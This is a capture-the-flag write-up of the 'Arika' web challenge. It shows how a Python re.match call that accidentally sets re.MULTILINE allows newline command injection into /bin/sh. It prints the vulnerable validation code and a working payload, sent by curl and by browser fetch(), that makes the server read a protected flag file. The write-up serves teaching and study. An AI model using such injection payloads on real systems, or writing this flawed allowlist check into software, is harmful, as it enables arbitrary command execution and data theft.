Arika 💚 - Newline Injection in a Fake Ransomware Terminal

Tags: Huntress CTF 2025 Newline Injection

A walkthrough of the Arika challenge, abusing a subtle Python re.match() bug and a newline injection to make a fake ransomware “terminal” read /app/flag.txt for us.

Arika ransomware themed green-on-black terminal styled site
The Arika crew flexing with their green-on-black terminal aesthetic.
Challenge prompt

“The Arika ransomware group likes to look slick and spiffy with their cool green-on-black terminal style website... but it sounds like they are worried about some security concerns of their own!”


1. Unpacking arika.zip & First Look

We start locally: the challenge drops an archive arika.zip. First step is to unpack it and see what we’re dealing with.

cyberaya@ctf-mint:~/huntress2025/day4$ 7z e arika.zip

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:128 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 6937 bytes (7 KiB)

Extracting archive: arika.zip
--
Path = arika.zip
Type = zip
Physical Size = 6937

Enter password (will not be echoed):
Everything is Ok

Files: 13
Size:       12357
Compressed: 6937

cyberaya@ctf-mint:~/huntress2025/day4$ ls
app.py     contact.sh  flag.txt  hostname.sh  leaks.sh  requirements.txt  terminal.js
arika.zip  Dockerfile  help.sh   index.html   news.sh   style.css         whoami.sh

Quick file identification on the extracted directory shows the usual suspects: Python backend, shell scripts, JS for the terminal, HTML/CSS, and a suspicious file named flag.txt.

cyberaya@ctf-mint:~/huntress2025/day4/extracted$ file *
app.py:           Python script, ASCII text executable
contact.sh:       POSIX shell script, ASCII text executable
Dockerfile:       ASCII text
flag.txt:         ASCII text, with no line terminators
help.sh:          POSIX shell script, Unicode text, UTF-8 text executable
hostname.sh:      ASCII text, with no line terminators
index.html:       HTML document, Unicode text, UTF-8 text
leaks.sh:         POSIX shell script, Unicode text, UTF-8 text executable
news.sh:          Unicode text, UTF-8 text
requirements.txt: ASCII text
style.css:        ASCII text
terminal.js:      JavaScript source, ASCII text
whoami.sh:        ASCII text, with no line terminators

flag.txt was not the flag. I mean, why would it be that easy, am I right? Lulz.

Local flag.txt not containing the real challenge flag
flag.txt was a decoy. The real one lives inside the container.

Next, contact.sh was a nothing burger. Nothing useful or abusable there.

contact.sh script showing non-interesting behavior
contact.sh

help.sh was useful though. It exposes which commands are meant to be available in the “terminal” UI.

#!/bin/sh
echo "List of all commands:"
echo " leaks      — hacked companies"
echo " news       — news about upcoming data releases"
echo " contact    — send us a message and we will contact you"
echo " help       — available commands"
echo " clear      — clear screen"

Jumping to the actual site, we see a terminal emulator where you can type commands. I verified that only the commands from help.sh are accepted.

Web terminal emulator with limited commands
Only the expected commands are accepted.
List of all commands:
 leaks      — hacked companies
 news       — news about upcoming data releases
 contact    — send us a message and we will contact you
 help       — available commands
 clear      — clear screen

2. Inspecting the Dockerfile

The Dockerfile is always worth a quick look. Here we see it copying a flag.txt into /app/ and locking down its permissions:

Dockerfile setting owner and permissions of flag.txt
  • chown guest:guest /app/flag.txt
  • chmod 400 /app/flag.txt

So the real flag is inside the container at /app/flag.txt, readable by the app’s user. Our job: trick the app into reading that file and returning its contents.


3. How the Web Terminal Talks to the Backend

I ran feroxbuster against the site to look for interesting paths. The only juicy hit was /static/terminal.js, which we already had from the ZIP archive.

feroxbuster enumeration showing static terminal.js
/static/terminal.js is the main client-side logic for the terminal.

Digging into terminal.js, we confirm how the frontend sends commands to the backend:

Snippet of terminal.js showing fetch POST with JSON command
The UI POSTs JSON to / with a single command field.
fetch("/", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ command: line })
})

Why this matters: We now know exactly how to emulate the web terminal:

  • Make a POST request to /
  • Send JSON: {"command": "whatevz"}

4. Reading app.py: Allowlist, Execution, and a Bug

Flask app.py showing allowlist and command execution
Backend logic for validating and executing commands.

The heart of the challenge is app.py. Three key pieces:

a. Allowlist of commands

ALLOWLIST = ["leaks", "news", "contact", "help",
             "whoami", "date", "hostname", "clear"]

So the backend knows more commands than the UI advertises (whoami, date, hostname), but everything still has to start with one of these.

b. How the command is executed

proc = subprocess.run(["/bin/sh", "-c", cmd],
                      capture_output=True,
                      text=True,
                      check=False)

The backend runs the command via /bin/sh -c, meaning:

  • The whole string is handed to a shell.
  • Newlines and semicolons can act as command separators.

c. The validation bug 🐛

The allowlist check is implemented like this:

if not any([
    re.match(r"^%s$" % allowed, command, len(ALLOWLIST))
    for allowed in ALLOWLIST
]):

The developer accidentally passed len(ALLOWLIST) as the third argument to re.match(). In Python’s re module, that parameter is flags, not a max length.

Here, len(ALLOWLIST) == 8 and 8 equals re.MULTILINE.

With re.MULTILINE set: ^ and $ match at line boundaries, not only at the start and end of the whole string.

That means a command like:

leaks
cat /app/flag.txt

will match ^leaks$ (first line matches exactly), so validation passes, but the full string still contains the newline and second line.

When /bin/sh -c sees that, it executes both:

  1. leaks
  2. cat /app/flag.txt

That’s the core vulnerability: newline injection + re.MULTILINE + shell execution.


5. Crafting the Payload

Since leaks is on the allowlist, our payload needs to:

  1. Start with leaks on the first line.
  2. Include a newline.
  3. Run cat /app/flag.txt on the second line.

Conceptually:

{"command": "leaks
cat /app/flag.txt"}

The tricky part is making sure the JSON contains an actual newline, not the literal characters \ and n.


6. Option A: Sending the Payload with curl 💪

From the attacker machine, we send a POST and pretty-print the JSON response so we can easily read stdout.

curl -s -X POST -H "Content-Type: application/json" \
  -d "$(printf '{"command":"leaks\ncat /app/flag.txt"}')" \
  http://10.1.140.112:5000/ | python3 -m json.tool

Breaking that down token-by-token:

  • curl - HTTP client used to send the request.
  • -s - silent mode.
  • -X POST - send an HTTP POST.
  • -H - JSON content type.
  • printf interprets \n as a newline.
  • python3 -m json.tool pretty-prints the response.

The server’s response (formatted) looked like this:

{
  "code": 0,
  "ok": true,
  "stderr": "",
  "stdout": "...snip...\nflag{eaec346846596f7976da7e1adb1f326d}\n"
}

That last line in stdout is the flag: flag{eaec346846596f7976da7e1adb1f326d}.


7. Why This Works (Short Version)

  1. The app expects JSON {"command": "..."} POSTed to /.
  2. len(ALLOWLIST) gets used as regex flags by mistake.
  3. 8 equals re.MULTILINE, so ^/$ match per line.
  4. First line matches an allowlisted command, so validation passes.
  5. /bin/sh -c executes both lines; output is returned in stdout.

8. Doing It from the Browser Console Only

You can also send the payload via DevTools using fetch():

fetch("/", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ command: "leaks\ncat /app/flag.txt" })
})
  .then(r => r.json())
  .then(j => {
    console.log(j);
    alert("stdout:\n" + j.stdout);
  })
  .catch(e => console.error(e));
Browser DevTools console fetch call returning JSON with flag in stdout
Same trick, executed via fetch() in DevTools.

A more compact version (no alert):

fetch("/", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ command: "leaks\ncat /app/flag.txt" })
})
  .then(r => r.json())
  .then(j => console.log(j))
  .catch(e => console.error(e));
Console output showing flag in stdout
Flag recovered directly in the browser console stdout.

9. Final Notes

This exploit chain depends on three core facts:

  1. Flag placement: the real flag is at /app/flag.txt in the container.
  2. Interface contract: the app expects JSON {"command": "..."} POSTed to /.
  3. Validation bug: len(ALLOWLIST) accidentally enables re.MULTILINE, allowing multiline payloads.

The result is a neat little web challenge combining regex quirks, newline injection, and container flag placement into one clean exploit path.